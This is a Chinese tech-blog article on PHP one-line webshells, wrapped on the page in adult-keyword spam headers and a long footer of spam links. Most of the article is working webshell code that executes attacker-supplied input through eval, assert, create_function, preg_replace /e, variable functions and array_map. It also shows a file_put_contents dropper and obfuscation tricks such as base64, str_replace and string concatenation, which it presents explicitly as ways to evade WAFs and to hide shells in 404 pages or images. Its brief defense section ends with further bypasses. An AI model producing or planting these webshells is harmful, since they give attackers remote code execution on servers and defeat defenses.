日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術(shù)文章
文章詳情頁

php一句話木馬變形技巧

瀏覽:172日期:2022-09-08 08:07:35
一、什么是一句話木馬?

一句話木馬就是只需要一行代碼的木馬,短短一行代碼,就能做到和大馬相當?shù)墓δ堋榱死@過waf的檢測,一句話木馬出現(xiàn)了無數(shù)中變形,但本質(zhì)是不變的:木馬的函數(shù)執(zhí)行了我們發(fā)送的命令。

二、我們?nèi)绾伟l(fā)送命令,發(fā)送的命令如何執(zhí)行?

我們可以通過 GET、POST、COOKIE這三種方式向一個網(wǎng)站提交數(shù)據(jù),一句話木馬用 $_GET[’ ’]、$_POST[’ ’]、$_COOKIE[’ ’]接收我們傳遞的數(shù)據(jù),并把接收的數(shù)據(jù)傳遞給一句話木馬中執(zhí)行命令的函數(shù),進而執(zhí)行命令。 所以看到的經(jīng)典一句話木馬大多都是只有兩個部分,一個是可以執(zhí)行代碼的函數(shù)部分,一個是接收數(shù)據(jù)的部分。

0.eval函數(shù)

<?php eval($_POST[’a’]) ?>

其中eval就是執(zhí)行命令的函數(shù),**$_POST[‘a(chǎn)’]**就是接收的數(shù)據(jù)。eval函數(shù)把接收的數(shù)據(jù)當作PHP代碼來執(zhí)行。這樣我們就能夠讓插入了一句話木馬的網(wǎng)站執(zhí)行我們傳遞過去的任意PHP語句。這便是一句話木馬的強大之處。

因為木馬是接收post請求中 “a” 的數(shù)據(jù)( $_POST[‘a(chǎn)’]),所以我們必須以post方法發(fā)送數(shù)據(jù)并且將我們要執(zhí)行的代碼賦值給“a”。如果把木馬中的post替換成get,那么我么就需要以GET方法發(fā)送“a”,

使用 其他函數(shù)制作一句話木馬

1.assert函數(shù)

<?php assert(@$_POST[’a’]); ?>2.create_function函數(shù)

<?php$fun = create_function(’’,$_POST[’a’]);$fun();?>

把用戶傳遞的數(shù)據(jù)生成一個函數(shù)fun(),然后再執(zhí)行fun()

3. call_user_func回調(diào)函數(shù)

<?php@call_user_func(assert,$_POST[’a’]);?>

call_user_func這個函數(shù)可以調(diào)用其它函數(shù),被調(diào)用的函數(shù)是call_user_func的第一個函數(shù),被調(diào)用的函數(shù)的參數(shù)是call_user_func的第二個參數(shù)

這樣的一個語句也可以完成一句話木馬。一些被waf攔截的木馬可以配合這個函數(shù)繞過waf。

4.preg_replace函數(shù)

<?php@preg_replace('/abcde/e', $_POST[’a’], 'abcdefg');?>

這個函數(shù)原本是利用正則表達式替換符合條件的字符串,但是這個函數(shù)有一個功能——可執(zhí)行命令

這個函數(shù)的第一個參數(shù)是正則表達式,按照PHP的格式,表達式在兩個“/”之間。如果我們在這個表達式的末尾加上“e”,那么這個函數(shù)的第二個參數(shù)就會被當作代碼執(zhí)行。

5. file_put_contents函數(shù)

利用函數(shù)生成木馬

<?php$test=’<?php $a=$_POST['cmd'];assert($a); ?>’;file_put_contents('Trojan.php', $test);?>

函數(shù)功能:生成一個文件,第一個參數(shù)是文件名,第二個參數(shù)是文件的內(nèi)容。

6.array數(shù)組

<?php$a=’assert’;array_map('$a',$_REQUEST);?>

上述定義參數(shù)a并賦值‘a(chǎn)ssert’,利用array_map()函數(shù)將執(zhí)行語句進行拼接。最終實現(xiàn)assert($_REQUEST)。

<?php$item[’JON’]=’assert’;$array[]=$item;$array[0][’JON’]($_POST['TEST']);?>

利用函數(shù)的組合效果,使得多個參數(shù)在傳遞后組合成一段命令并執(zhí)行。

php一句話木馬變形技巧

php一句話木馬變形技巧

7.PHP變量函數(shù)

<?php$a = 'eval';$a(@$_POST[’a’]);?>

第三行使用了變量函數(shù)$a,變量儲存了函數(shù)名eval,便可以直接用變量替代函數(shù)名。

三、如何讓一句話木馬繞過waf ?

waf是網(wǎng)站的防火墻,例如安全狗就是waf的一種。waf通常以關(guān)鍵字判斷是否為一句話木馬,但是一句話木馬的變形有很多種,waf根本不可能全部攔截。想要繞過waf,需要掌握各種PHP小技巧,掌握的技巧多了,把技巧結(jié)合起來,設(shè)計出屬于自己的一句話木馬。

1.PHP可變變量

<?php$bb='eval';$aa='bb';$$aa($_POST[’a’]);?>

看這句就能理解上述語句:$$aa = ( ( (aa) = $ (‘bb’) = $bb = “eval”

2.str_replace函數(shù)

<?php$a=str_replace('Waldo', '', 'eWaldoval');$a(@$_POST[’a’]);?>

函數(shù)功能:在第三個參數(shù)中,查找第一個參數(shù),并替換成第二個參數(shù)。這里第二個參數(shù)為空字符串,就相當于刪除'Waldo'。

3. base64_decode函數(shù)

<?php$a=base64_decode('ZXZhbA==')$a($_POST[’a’]);?>

這里是base64解密函數(shù),'ZXZhbA=='是eval的base64加密。

4.'.'操作符

<?php$a='e'.'v';$b='a'.'l';$c=$a.$b;$c($_POST[’a’]);?>5.parse_str函數(shù)

<?php$str='a=eval';parse_str($str);$a($_POST[’a’]);?>

執(zhí)行這個函數(shù)后,生成一個變量$a,值為字符串'eval'

6.更換數(shù)據(jù)來源

6.1GET篇

<?php $_GET[a]($_GET[b]); ?>

<?php @eval( $_GET[$_GET[b]])>

利用方法:

b=cmd&cmd=phpinfo()

6.2利用script代替<? 、?>標簽

<script language='php'>@eval_r($_GET[b])</script>

6.3利用session

php一句話木馬變形技巧

7.字符替換或特殊編碼

php一句話木馬變形技巧

php一句話木馬變形技巧

8.木馬藏匿

1.404頁面

2.圖片木馬,用文件包含調(diào)用

四、總結(jié)

繞過技巧:

更換執(zhí)行數(shù)據(jù)來源 字符替換或者編碼 采取隱匿手段

tips:使用一句話木馬的時候可以在函數(shù)前加”@”符,這個符號讓php語句不顯示錯誤信息,增加隱蔽性。

五、防御

1.禁用assert()函數(shù),監(jiān)控eval()2.搜索日志的assert。亦可能繞過:

<?php $c=$_GET[n].’t’; @$c($_POST[cmd]); ?>

<?php $c=base64_decode(’YXNzZXI=’).$_GET[n].’t’; @$c($_POST[cmd]); ?>

php一句話木馬變形技巧

以上就是php一句話木馬變形技巧的詳細內(nèi)容,更多關(guān)于php一句話木馬變形技巧的資料請關(guān)注好吧啦網(wǎng)其它相關(guān)文章!

標簽: PHP
相關(guān)文章:
日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
国产美女撒尿一区二区| 国产精品一区二区三区四区在线观看| 亚洲三区欧美一区国产二区| 亚洲在线国产日韩欧美| 99国产精品久久久久久久| 国产一区观看| 日韩视频免费| 麻豆精品网站| 日韩专区视频网站| 国产精品一页| 国产美女亚洲精品7777| 国产在线日韩精品| 天堂日韩电影| 午夜在线精品偷拍| 日韩国产欧美视频| 精品久久97| 精品国产欧美日韩一区二区三区| 日本精品黄色| 国产一区日韩一区| 日本中文字幕一区二区| 精品三级在线观看视频| 久久久一本精品| 日韩中文字幕麻豆| 久久99青青| 91九色精品国产一区二区| 青青伊人久久| 免费污视频在线一区| 最新国产精品视频| av在线最新| 热久久国产精品| 欧美精品97| 日韩成人亚洲| 亚洲精品视频一二三区| 91综合网人人| 模特精品在线| 日本不良网站在线观看| 亚洲色图网站| 欧美男人天堂| 亚洲综合激情在线| 亚洲美女久久精品| 日本免费新一区视频| 伊人久久大香线蕉av不卡| 97精品国产99久久久久久免费| 在线天堂中文资源最新版| 中文字幕免费精品| 成人精品天堂一区二区三区| 亚洲精品进入| 免费日韩一区二区三区| 欧美中文日韩| 美国三级日本三级久久99| 国产亚洲电影| 国产二区精品| 日韩成人免费| 美国三级日本三级久久99| 麻豆成人综合网| 亚洲精选久久| 日韩亚洲国产欧美| 青草综合视频| 丝袜诱惑制服诱惑色一区在线观看| 精品久久精品| 国产私拍福利精品视频二区| 成人日韩av| 欧美日韩亚洲一区三区| 石原莉奈在线亚洲二区| | 日韩av片子| 日本不卡高清视频| 亚洲一区久久| 亚洲国产综合在线看不卡| 欧美一级鲁丝片| 久久精品国产在热久久| 久久国产免费看| 亚洲精品少妇| 视频在线观看91| 欧美1级日本1级| 日韩在线观看| 国产欧洲在线| 成人污污视频| 欧美黄页在线免费观看| 国产精品亚洲产品| 久久国产尿小便嘘嘘| 清纯唯美亚洲综合一区| 亚洲精品在线二区| 热久久免费视频| 久久亚洲视频| 美女尤物久久精品| 亚洲欧美日韩一区在线观看| 国产精品色网| 国产手机视频一区二区| 美女久久久久| 激情视频网站在线播放色| 国产精品久久久久久久久妇女| 免费一级欧美片在线观看网站| 国产日韩欧美一区| 国产精品第一国产精品| 久久精品亚洲| 精品一区电影| a天堂资源在线| 私拍精品福利视频在线一区| 久久久久一区| 国产精品7m凸凹视频分类| 亚洲激情偷拍| 视频一区二区国产| 亚洲精品美女91| 日韩av中文在线观看| 亚洲综合二区| 日韩精品中文字幕吗一区二区 | 精品亚洲自拍| 日韩在线观看一区| jiujiure精品视频播放| 在线综合欧美| 亚洲综合色婷婷在线观看| 日本精品另类| 久久精品女人| 久久久久久美女精品| 伊人影院久久| 国产精品腿扒开做爽爽爽挤奶网站| 只有精品亚洲| 国产激情久久| 久久夜夜操妹子| 午夜一级久久| 国产日本亚洲| 欧美丰满日韩| 亚洲欧美日韩视频二区| 97精品资源在线观看| 日本一二区不卡| 日韩视频在线一区二区三区 | 日韩av一级片| 美女久久久久久| 久久精品导航| 日韩精品三区四区| 国产美女高潮在线观看| 日韩专区欧美专区| 久久一区亚洲| 亚洲免费影视| 久久女人天堂| 国产精品丝袜xxxxxxx| 国产精品白丝av嫩草影院| 欧美色图国产精品| 日本精品国产| 欧美精品一区二区三区精品| 伊人久久亚洲热| 国产精品视频首页| 国产99精品| 日韩毛片一区| 999国产精品视频| 日韩av一区二区三区四区| 91精品韩国| 日韩av影院| 午夜精品网站| 欧美黄色一区二区| 日韩一区二区久久| 久久精品国产亚洲aⅴ| 午夜一级久久| 国产99在线| 久久精品97| 国产一区二区三区天码| 模特精品在线| 国产一区二区三区不卡av | 高清av一区| 亚州av一区| 久久精品国产www456c0m| 国产午夜久久av| 亚洲激情另类| 久久裸体视频| 国产精品一区二区99| 香蕉久久国产| 中文在线中文资源| 免播放器亚洲一区| 九九久久国产| 午夜一区在线| 蜜桃av在线播放| 欧美精品国产白浆久久久久| 国产亚洲欧洲| 欧产日产国产精品视频| 一二三区精品| 亚洲精品成人| 高清一区二区| 日本视频中文字幕一区二区三区| 92国产精品| 久久精品二区亚洲w码| 日韩精选在线| 欧美.日韩.国产.一区.二区| 欧美在线观看天堂一区二区三区| 91久久久久| 性欧美xxxx免费岛国不卡电影| 国产黄色一区| 日韩二区三区在线观看| 亚洲一区av| 国产模特精品视频久久久久| 久久国产直播| 神马午夜在线视频| 高清不卡一区| 精品欧美视频| 国产探花在线精品| 欧美一区网站| 欧美天堂一区| 国产精品三p一区二区| 麻豆9191精品国产| 国产亚洲亚洲|